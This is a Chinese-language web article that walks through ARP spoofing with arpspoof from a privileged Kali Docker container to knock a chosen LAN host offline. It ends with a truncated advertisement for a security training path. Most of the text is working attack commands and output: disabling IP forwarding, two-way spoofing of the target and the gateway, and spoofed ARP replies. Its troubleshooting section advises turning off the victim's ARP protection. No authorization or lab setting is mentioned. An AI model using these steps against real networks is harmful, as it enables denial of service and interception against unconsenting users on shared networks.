当前位置：首页 > news >正文

【网络攻防】ARP 欺骗深度解析：双向欺骗 + arpspoof，轻松达成 100% 断网操作！

news 2026/4/10 1:32:53

arpspoof是dsniff工具包的核心工具，逻辑简单、无复杂参数，双向欺骗目标和网关后，目标会立即断网，步骤如下：

1. 确认容器环境（必做）

确保Kali容器是--net=host --privileged模式启动（无此权限直接跳过，无法操作）：

# 重新启动容器（确保权限正确） docker stop kali-docker && docker rm kali-docker docker run -it --name kali-docker --net=host --privileged kalilinux/kali-rolling:minimal /bin/bash

2. 安装dsniff（含arpspoof）

apt update && apt install -y dsniff net-tools

3. 关键：关闭IP转发（核心！让目标断网而非中间人）

如果开启了IP转发，目标流量会经容器转发到网关，仍能上网；关闭IP转发后，目标流量发往容器即被丢弃，直接断网：

# 关闭IP转发（容器内执行，立即生效） echo 0 > /proc/sys/net/ipv4/ip_forward # 验证：输出0表示关闭成功 cat /proc/sys/net/ipv4/ip_forward

4. 双向欺骗（开两个终端，缺一不可）

arpspoof需要同时欺骗「目标→网关」和「网关→目标」，才能彻底阻断流量，必须开两个终端操作：

终端1：欺骗目标主机（让目标以为容器是网关）

# 替换网卡名enp0s20f0u1（确认是你的局域网网卡） arpspoof -i enp0s20f0u1 -t 192.168.110.90 192.168.110.1

终端2：欺骗网关（让网关以为容器是目标主机）

# 同样替换网卡名，目标和网关互换位置 arpspoof -i enp0s20f0u1 -t 192.168.110.1 192.168.110.90

5. 验证效果

两个命令执行后，终端会持续输出ARP欺骗包的日志（如下），此时192.168.110.90会立即断网（无法访问任何网站/服务器）：

# 终端1示例输出（欺骗目标）

00:0e:c6:62:b9:f1 00:50:56:e8:xx:xx 0806 42: arp reply 192.168.110.1 is-at 00:0e:c6:62:b9:f1 00:0e:c6:62:b9:f1 00:50:56:e8:xx:xx 0806 42: arp reply 192.168.110.1 is-at 00:0e:c6:62:b9:f1

# 终端2示例输出（欺骗网关）

00:0e:c6:62:b9:f1 00:50:56:e8:xx:xx 0806 42: arp reply 192.168.110.90 is-at 00:0e:c6:62:b9:f1 00:0e:c6:62:b9:f1 00:50:56:e8:xx:xx 0806 42: arp reply 192.168.110.90 is-at 00:0e:c6:62:b9:f1

三、常见问题排查（若仍不断网）

1. 网卡名错误

执行ip addr show确认enp0s20f0u1是192.168.110.x网段的网卡，若不是，替换为正确网卡名（如ens33、wlan0）。

2. 目标开启ARP防护

临时关闭目标主机的安全软件（360、火绒、Windows Defender的ARP防护）；
在目标主机手动清除ARP缓存：
# Windows目标 arp -d * # Linux目标 arp -d 192.168.110.1

3. 容器权限不足

重新启动容器时务必加--privileged，否则无法发送ARP欺骗包：

docker run -it --name kali-docker --net=host --privileged kalilinux/kali-rolling:minimal /bin/bash

四、恢复目标网络

只需关闭两个arpspoof终端（按Ctrl + C），目标主机的ARP缓存会在1-5分钟内自动刷新，恢复正常上网；也可手动在目标主机执行：

# Windows arp -d * # Linux arp -d 192.168.110.1 && arp -d 192.168.110.90

总结

核心解决方案：放弃ettercap（容器环境参数兼容性差），改用arpspoof双向欺骗+关闭IP转发，这是Docker-Kali环境下断网的最优方案；
关键操作：关闭IP转发（echo 0 > /proc/sys/net/ipv4/ip_forward）+ 开两个终端分别欺骗目标和网关；
权限前提：容器必须以–net=host --privileged启动，否则无法操作局域网ARP流量。

网络安全的知识多而杂，怎么科学合理安排？

下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！

初级网工

1、网络安全理论知识（2天）